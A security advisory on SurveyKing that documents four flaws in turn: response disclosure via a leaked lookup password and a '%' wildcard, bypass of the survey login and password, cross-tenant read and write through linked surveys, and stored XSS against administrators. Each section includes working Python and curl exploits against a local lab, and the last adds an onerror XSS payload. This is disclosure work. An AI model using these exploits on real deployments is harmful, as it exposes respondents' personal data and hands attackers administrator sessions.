SurveyKing Vulnerability Report

Software: SurveyKing

Developer or vendor: Beijing Chengyu Yanxin Technology Co., Ltd.

Code repository: https://github.com/javahuang/SurveyKing

1. Unauthenticated Disclosure of All Survey Responses

Brief description:An attacker who has the survey id from a public survey link can read every response of that survey, including fields hidden on the result lookup page.
Affected versions:1.13.2
Preconditions:The survey is published and has result lookup enabled.

Root Cause

The public view returns setting.submittedSetting as a whole, so the password of the result lookup appears in the anonymous response. In the same mapper, answerSettingToAnswerSetting copies fields one by one and does not copy password:

// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/ProjectViewMapperImpl.java:105-142    commit 6e3e4ce795
protected ProjectSetting.AnswerSetting answerSettingToAnswerSetting(ProjectSetting.AnswerSetting answerSetting) {
    ...
    answerSetting1.setLoginRequired(answerSetting.getLoginRequired());
    answerSetting1.setQuestionNumber(answerSetting.getQuestionNumber());
    ...
    return answerSetting1;
}

protected ProjectSetting projectSettingToProjectSetting(ProjectSetting projectSetting) {
    ...
    projectSetting1.answerSetting(this.answerSettingToAnswerSetting(projectSetting.getAnswerSetting()));
    projectSetting1.submittedSetting(projectSetting.getSubmittedSetting());
    ...
}

With the lookup configuration in hand, the attacker obtains the lookup id and password. loadQuery skips the password check when the request carries no answer, so an anonymous request returns the question id and option id of the condition question:

// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:948-967    commit 6e3e4ce795
private void validatePublicQuery(ProjectSetting.PublicQuery query, LinkedHashMap answer) {
    ...
    if (StringUtils.isNotBlank(query.getPassword()) && answer != null) {
        ...
    }
}

getQueryResult passes the condition value to a MyBatis like, where a % in the value acts as a wildcard, so one request matches every response:

// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1008-1041    commit 6e3e4ce795
private List<Answer> findAnswerByQuery(PublicQueryRequest request, Tuple2<ProjectView, ProjectSetting.PublicQuery> projectAndQuery) {
    ...
    List answer = this.answerService.list(... .like(Answer::getAnswer, this.buildLikeQueryConditionOfQuestion(...))));
}

private String buildLikeQueryConditionOfQuestion(SchemaHelper.TreeNode qNode, Map qValueObj) {
    ...
    value = "\"" + value + "\"";
    return String.format("{\"%s\":%s}", optionId, value);
}

With an answerId, a loadProject call that carries answerId returns before the login and survey status checks and includes the full answer and survey of the response:

// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:277-286    commit 6e3e4ce795
if (query.getAnswerId() != null) {
    AnswerView answerView = this.getAnswerForProject(project.getId(), query.getAnswerId());
    if (answerView != null) {
        projectView.setAnswer(answerView.getAnswer());
        if (answerView.getSurvey() != null) {
            projectView.setSurvey(answerView.getSurvey());
        }
    }
    return projectView;
}

Reproduction Environment

The lab follows the single-container deployment from the official documentation:

mkdir -p surveyking/{config,db,files,logs} && cd surveyking
docker run -d --name surveyking -p 1991:1991 \
  -e SERVER_PORT=1991 \
  -e JAVA_OPTS='-Xms256m -Xmx1g -Dfile.encoding=UTF-8' \
  -v "$PWD/config:/app/config" -v "$PWD/db:/app/db" \
  -v "$PWD/files:/app/files" -v "$PWD/logs:/app/logs" \
  surveyking/surveyking:latest

Open http://127.0.0.1:1991/setup, select the built-in H2 database, and finish the initialization. The script below has the administrator create a published survey with result lookup enabled and write two responses:

import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding

base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})
pub = httpx.Client(base_url=base)

def q(i, t):
    return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]}

survey = {"id": "x", "title": "Employee salary survey", "attribute": {},
          "children": [q("name", "Name"), q("phone", "Phone"), q("salary", "Salary (hidden)")]}
pid = adm.post("/api/project/create", json={"name": "Employee salary survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
setting = {"status": 1, "mode": "survey", "answerSetting": {},
           "submittedSetting": {"publicQuery": [{"id": "lookup", "title": "Lookup my result", "enabled": True,
               "password": "LookupPwd#2026", "conditionQuestion": "#{name}",
               "fieldPermission": {"name": 1, "phone": 1, "salary": 0}}]}}
adm.post("/api/project/update", json={"id": pid, "name": "Employee salary survey", "mode": "survey",
         "survey": survey, "setting": setting})
for name, phone, salary in [("alice", "13000000001", "SALARY-33000"), ("bob", "13000000002", "SALARY-41000")]:
    pub.post("/api/public/saveAnswer", json={"projectId": pid, "tempSave": 0, "answer": {
        "name": {"name_1": name}, "phone": {"phone_1": phone}, "salary": {"salary_1": salary}}})
print(pid)

Reproduction

Open the public survey page without logging in; it shows three questions:

The responses as seen by the administrator on the data page; the Salary (hidden) column is hidden for the result lookup:

Replace pid in the script below with the value printed by the previous script. The script reads the lookup configuration, reads the lookup form, enumerates every response, and reads each full response:

import httpx

base = "http://127.0.0.1:1991"
pid = "RHgV6Z"
c = httpx.Client(base_url=base)

project = c.post("/api/public/loadProject", json={"id": pid}).json()["data"]
pc = project["setting"]["submittedSetting"]["publicQuery"][0]
print("[1]", pc)

form = c.post("/api/public/loadQuery", json={"id": pid, "resultId": pc["id"]}).json()["data"]["schema"]
option_id = form["children"][0]["children"][0]["id"]
print("[2]", form["children"][0]["id"], option_id)

res = c.post("/api/public/getQueryResult", json={"id": pid, "resultId": pc["id"],
        "answer": {"password": {"password": pc["password"]}}, "query": {option_id: "%"}}).json()["data"]["answers"]
print("[3]", [a["answerId"] for a in res])

for a in res:
    full = c.post("/api/public/loadProject", json={"id": pid, "answerId": a["answerId"]}).json()["data"]
    print("[4]", a["answerId"], full["answer"])

The output is:

[1] {'id': 'lookup', 'title': 'Lookup my result', 'enabled': True, 'password': 'LookupPwd#2026', 'conditionQuestion': '#{name}', 'fieldPermission': {'name': 1, 'phone': 1, 'salary': 0}}
[2] name name_1
[3] ['3ac7096a-cbfc-41b9-9958-6ed978934a46', '74dc1229-f1fd-4092-89ff-39eaecc2c7b5']
[4] 3ac7096a-cbfc-41b9-9958-6ed978934a46 {'name': {'name_1': 'alice'}, 'phone': {'phone_1': '13000000001'}, 'salary': {'salary_1': 'SALARY-33000'}}
[4] 74dc1229-f1fd-4092-89ff-39eaecc2c7b5 {'name': {'name_1': 'bob'}, 'phone': {'phone_1': '13000000002'}, 'salary': {'salary_1': 'SALARY-41000'}}

The salary of both responses is hidden for the result lookup, yet the anonymous request still returns the original values.

2. Bypassing the Survey Login and Survey Password

Brief description:An anonymous client can submit a protected survey, bypassing both “login required” and the survey password, and attribute the response to another user.
Affected versions:1.12.0 to 1.13.2
Preconditions:The target has a published survey that enables either “login required” or a survey password.

Root Cause

“Login required” and the survey password are checked only in validateProject and convertAndValidateLoginFormIfNeeded, both called from loadProject; the write path of saveAnswer does not go through them:

// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:291-304    commit 6e3e4ce795
public AnswerView saveAnswer(AnswerRequest request) {
    ...
    Answer answer = this.answerViewMapper.fromRequest(request);
    answer.setId(UUID.randomUUID().toString());
    answer.setCreateAt(new Date());
    this.save(this.beforeSaveAnswer(answer));
    return (AnswerView)this.answerViewMapper.toView(answer);
}

The survey password check lives in the login form flow:

// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1083-1088    commit 6e3e4ce795
if (answerSetting.getPassword() != null) {
    loginRequired = true;
    queryConditions.add(SchemaHelper.buildFillBlankQuerySchema(...extraPassword));
    if (answer != null && !answerSetting.getPassword().equals(SchemaHelper.getLoginFormAnswer(answer, ...extraPassword))) {
        throw new ErrorCodeException(ErrorCode.ValidationError);
    }
}

The submitter of a response comes from the request body:

// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45    commit 6e3e4ce795
public Answer fromRequest(AnswerRequest request) {
    ...
    answer.setCreateBy(request.getCreateBy());
    return answer;
}

Reproduction Environment

Rebuild a fresh instance as described in section 1 and finish the initialization. The script below creates a survey with “login required” and a survey password enabled:

import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding

base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})

survey = {"id": "x", "title": "Protected feedback survey", "attribute": {},
          "children": [{"id": "q1", "title": "Your feedback", "type": "FillBlank",
                        "attribute": {}, "children": [{"id": "q1_1", "attribute": {}}]}]}
pid = adm.post("/api/project/create", json={"name": "Protected feedback survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
adm.post("/api/project/update", json={"id": pid, "name": "Protected feedback survey", "mode": "survey",
         "survey": survey, "setting": {"status": 1, "mode": "survey",
         "answerSetting": {"loginRequired": True, "password": "AnswerPwd#2026"}}})
print(pid)

Reproduction

Replace projectId in the requests below with the value printed by the script.

Open the survey link without logging in; the page asks for a username, a password, and the survey password:

Submit a response anonymously; the server returns 200:

curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
  -H 'Content-Type: application/json' \
  -d '{"projectId":"vTi1G0","tempSave":0,"answer":{"q1":{"q1_1":"anonymous respondent"}}}'

The output is:

{"code":200,"data":{"answerId":"c30e7516-8ef5-4d35-8962-9b6d242c3efb"}}

Submit again with createBy set to the administrator user id:

curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
  -H 'Content-Type: application/json' \
  -d '{"projectId":"vTi1G0","tempSave":0,"createBy":"1457995481966747649","answer":{"q1":{"q1_1":"forged by anonymous client"}}}'

The output is:

{"code":200,"data":{"answerId":"9e89666d-df32-4a52-a380-42d47102f570"}}

On the administrator data page, the submitter of the first response is Admin:

3. Cross-Project Read and Write of Responses through a Linked Survey

Brief description:A normal account can read and rewrite the responses of another tenant’s survey through an option linked survey.
Affected versions:1.12.0 to 1.13.2
Preconditions:The attacker has a normal account that can create surveys; the target survey id and question ids are available from the public link and the public schema.

Root Cause

The link configuration is stored in the attacker’s own survey. linkSurveyId is filled in by the configurator and the server does not check which project it belongs to. The read endpoint queries the target project by that id and returns the matched response fields:

// server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:475-498    commit 6e3e4ce795
public PublicLinkResult loadLinkResult(PublicLinkRequest request) {
    ...
    for (SurveySchema.LinkSurvey linkSurvey : linkSurveys) {
        Answer answer = (Answer)this.answerService.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId())
                .like(Answer::getAnswer, this.buildLinkLikeCondition(linkSurvey, request.getValue()))
                .orderByDesc(BaseModel::getCreateAt)).last("limit 1"));
        this.fillLinkFieldAndAnswer(answer != null ? answer.getAnswer() : null, linkSurvey.getLinkFields(), fillAnswer);
    }
    return result;
}

The write side likewise only looks at the id in the configuration. When a target response matches, its fields are rewritten; when none matches, a response is created in the target project:

// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:784-815    commit 6e3e4ce795
private void updateLinkSurveyAnswer(Answer answer, ProjectView project) {
    ...
    Answer linkedAnswer = (Answer)this.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId())
            .like(Answer::getAnswer, SchemaHelper.buildLinkLikeCondition(linkSurvey, optionValue))
            .orderByDesc(BaseModel::getCreateAt)).last("limit 1"));
    if (linkedAnswer != null) {
        for (SurveySchema.LinkField linkField : linkSurvey.getLinkFields()) {
            SchemaHelper.setQuestionValue(linkedAnswer.getAnswer(), linkField.getLinkQuestionId(), linkField.getLinkOptionId(), ...);
        }
        this.updateById(linkedAnswer);
    }
}

Reproduction Environment

Rebuild a fresh instance as described in section 1 and finish the initialization. The script below has the administrator create the victim survey with one response containing a secret, then creates a normal account that can only create surveys; that account creates the survey with the link configuration:

import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding

base = "http://127.0.0.1:1991"

def login(user, password):
    pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
    key = serialization.load_der_public_key(base64.b64decode(pk))
    enc = base64.b64encode(key.encrypt(password.encode(), padding.PKCS1v15())).decode()
    r = httpx.post(base + "/api/public/login", json={"username": user, "password": enc})
    tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
    return httpx.Client(base_url=base, cookies={"sk-token": tok})

def q(i, t):
    return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]}

adm = login("admin", "123456")
pub = httpx.Client(base_url=base)
survey = {"id": "x", "title": "Customer contact list", "attribute": {},
          "children": [q("v1", "Customer name"), q("v2", "Private contact")]}
vpid = adm.post("/api/project/create", json={"name": "Customer contact list", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = vpid
adm.post("/api/project/update", json={"id": vpid, "name": "Customer contact list", "mode": "survey", "survey": survey,
         "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
pub.post("/api/public/saveAnswer", json={"projectId": vpid, "tempSave": 0,
         "answer": {"v1": {"v1_1": "victim"}, "v2": {"v2_1": "VICTIM-SECRET-777"}}})

adm.post("/api/system/role/create", json={"name": "Survey editor", "code": "survey_editor", "remark": "demo",
       "authorities": ["project", "project:list", "project:detail", "project:create", "project:update",
                        "answer", "answer:list", "answer:detail", "file", "file:detail", "file:list"]})
rid = next(r["id"] for r in adm.get("/api/system/role/list").json()["data"]["list"] if r["code"] == "survey_editor")
adm.post("/api/system/user/create", json={"username": "attacker", "password": "Attacker2026",
         "name": "Attacker", "roles": [rid], "status": 1, "deptId": "1"})

atk = login("attacker", "Attacker2026")
asurvey = {"id": "x", "title": "Attacker survey", "attribute": {},
           "children": [{"id": "a1", "title": "Link", "type": "FillBlank", "attribute": {},
                         "children": [{"id": "a1_1", "linkSurveys": [{"enableUpdate": True, "linkSurveyId": vpid,
                             "linkQuestionId": "v1", "linkOptionId": "v1_1", "linkType": "like",
                             "linkFields": [{"linkQuestionId": "v2", "linkOptionId": "v2_1",
                                             "fillQuestionId": "a2", "fillOptionId": "a2_1"}]}]}]},
                        {"id": "a2", "title": "Filled", "type": "FillBlank", "attribute": {},
                         "children": [{"id": "a2_1", "attribute": {}}]}]}
apid = atk.post("/api/project/create", json={"name": "Attacker survey", "mode": "survey", "survey": asurvey}).json()["data"]["id"]
asurvey["id"] = apid
atk.post("/api/project/update", json={"id": apid, "name": "Attacker survey", "mode": "survey", "survey": asurvey,
         "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
print(vpid, apid)

Reproduction

Replace projectId in the two requests below with the second id printed by the script.

Read the victim response anonymously:

curl -s -X POST http://127.0.0.1:1991/api/public/loadLinkResult \
  -H 'Content-Type: application/json' \
  -d '{"projectId":"DJV25U","questionId":"a1","optionId":"a1_1","value":"%"}'

The output is:

{"code":200,"data":{"answer":{"a2":{"a2_1":"VICTIM-SECRET-777"}}}}

Rewrite the same response anonymously:

curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \
  -H 'Content-Type: application/json' \
  -d '{"projectId":"DJV25U","tempSave":0,"answer":{"a1":{"a1_1":"%"},"a2":{"a2_1":"PWNED-BY-LINK"}}}'

The output is:

{"code":200,"data":{"answerId":"3df53bf5-9cfd-4a47-a45e-7727efa19929"}}

The administrator refreshes the victim survey data page; the Private contact field has been rewritten:

4. Stored XSS When an Administrator Opens a Forged Response Snapshot

Brief description:An anonymous respondent submits a response with a forged survey snapshot; when the administrator opens that response the script runs in the administrator’s browser, and the attacker takes over a victim account.
Affected versions:1.13.0 to 1.13.2
Preconditions:The target has a published public survey and the administrator views its responses.

Root Cause

The survey field of a response request is mapped into the response record as is:

// server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45    commit 6e3e4ce795
public Answer fromRequest(AnswerRequest request) {
    ...
    answer.setSurvey(request.getSurvey());
    ...
}

When the response is saved, the snapshot in the request takes priority and the project’s own survey is only a fallback:

// server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:731-743    commit 6e3e4ce795
private Answer beforeSaveAnswer(Answer answer) {
    ...
    SurveySchema answerSurvey = answer.getSurvey() != null ? answer.getSurvey()
            : (previousAnswer != null && previousAnswer.getSurvey() != null ? previousAnswer.getSurvey() : project.getSurvey());
    this.fileService.validateAndBindAnswerFiles(answer.getProjectId(), answer.getId(), answerSurvey, answer.getAnswer(), ...);
    ...
}

The administrator’s data page renders the title from the snapshot of that record. Before rendering, the title is passed to a function that converts HTML to text. The function creates a detached div, assigns the title to innerHTML, then reads textContent:

// v1.13.2 official image build static/umi.ded23be0.js    revision 6e3e4ce795
function a(e){var t=document.createElement("div");
function r(e){...}
return t.innerHTML=e||"",r(t),t.textContent||t.innerText||""}

On the innerHTML assignment, an <img src=x onerror=...> in the title is parsed and onerror fires, so the script runs.

Reproduction Environment

Rebuild a fresh instance as described in section 1 and finish the initialization. The script below creates a published survey with a fill-in question q1:

import base64, httpx
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding

base = "http://127.0.0.1:1991"
pk = httpx.get(base + "/api/system").json()["data"]["publicKey"]
key = serialization.load_der_public_key(base64.b64decode(pk))
enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode()
r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc})
tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token="))
adm = httpx.Client(base_url=base, cookies={"sk-token": tok})

survey = {"id": "x", "title": "F7 Demo Survey", "attribute": {},
          "children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {},
                        "children": [{"id": "q1_1", "attribute": {}}]}]}
pid = adm.post("/api/project/create", json={"name": "F7 Demo Survey", "mode": "survey", "survey": survey}).json()["data"]["id"]
survey["id"] = pid
adm.post("/api/project/update", json={"id": pid, "name": "F7 Demo Survey", "mode": "survey", "survey": survey,
         "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}})
print(pid)

Reproduction

Replace both Y0ZuZa in the script below with the survey id printed by the previous script.

Submit a response anonymously with a survey snapshot whose title is replaced with malicious HTML:

import httpx

payload = "<img src=x onerror=\"fetch('/api/system/role/list').then(r=>r.text()).then(t=>{document.documentElement.insertAdjacentHTML('afterbegin','<div style=background:#c00;color:#fff;font-family:monospace;font-size:26px;padding:12px>ANSWER SNAPSHOT XSS PATH='+location.pathname+'</div><pre style=font-family:monospace;font-size:14px;white-space:pre-wrap>'+t.slice(0,300)+'</pre>')})\">"
snapshot = {"id": "Y0ZuZa", "title": payload, "attribute": {},
            "children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {},
                          "children": [{"id": "q1_1", "attribute": {}}]}]}
r = httpx.post("http://127.0.0.1:1991/api/public/saveAnswer", json={
    "projectId": "Y0ZuZa", "tempSave": 0, "answer": {"q1": {"q1_1": "hello"}},
    "survey": snapshot})
print(r.text)

The output is:

{"code":200,"data":{"answerId":"36407504-06c7-48dd-9112-ecdd65d46b79"}}

The administrator selects this response on the Data page:

Clicking “Edit data” opens the “Record details” dialog; the script runs and displays the response of the administrator role endpoint: